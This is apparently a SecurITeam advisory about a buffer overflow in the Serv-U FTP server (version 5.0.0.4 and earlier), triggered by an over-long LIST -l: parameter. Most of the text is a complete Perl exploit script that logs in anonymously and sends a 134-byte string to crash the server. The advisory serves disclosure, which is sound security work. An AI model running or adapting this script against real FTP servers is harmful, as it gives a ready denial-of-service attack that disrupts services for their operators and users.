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  Serv-U LIST -l Parameter Buffer Overflow
------------------------------------------------------------------------


SUMMARY

 <http://www.serv-u.com/> Serv-U is a "powerful, easy-to-use, 
award-winning FTP server" created by Rob Beckers. A vulnerability in the 
product allows a remote user to cause the server to fail by sending a 
malformed LIST command to the server.

DETAILS

Vulnerable Systems:
 * Serv-U version 5.0.0.4 and prior

Immune Systems:
 * Serv-U 5.0.0.6 and newer

A user issuing a long parameter (around 134 bytes) as a value for a LIST 
command (using the -l: parameter for that LIST command), can cause the 
server to try and read a value that is outside the memory location of the 
Serv-U's memory, this will cause an exception to be triggered (an 
unhandled exception), which in turn causes the program to crash.

Exploit:
#!/usr/bin/perl

use IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp",
     PeerAddr => $host,
     PeerPort => "2116",
    );

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
 print $_;
 if (/220 /)
 {
  last;
 }
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/331 /)
 {
  last;
 }
}

$ftp = join("", "PASS ", "a\@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/230 /)
 {
  last;
 }
}

my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/250 Done/)
 {
  last;
 }
}

close $remote;


ADDITIONAL INFORMATION

SecurITeam would like to thank  <mailto:storm@securiteam.com> STORM for 
finding this vulnerability. 



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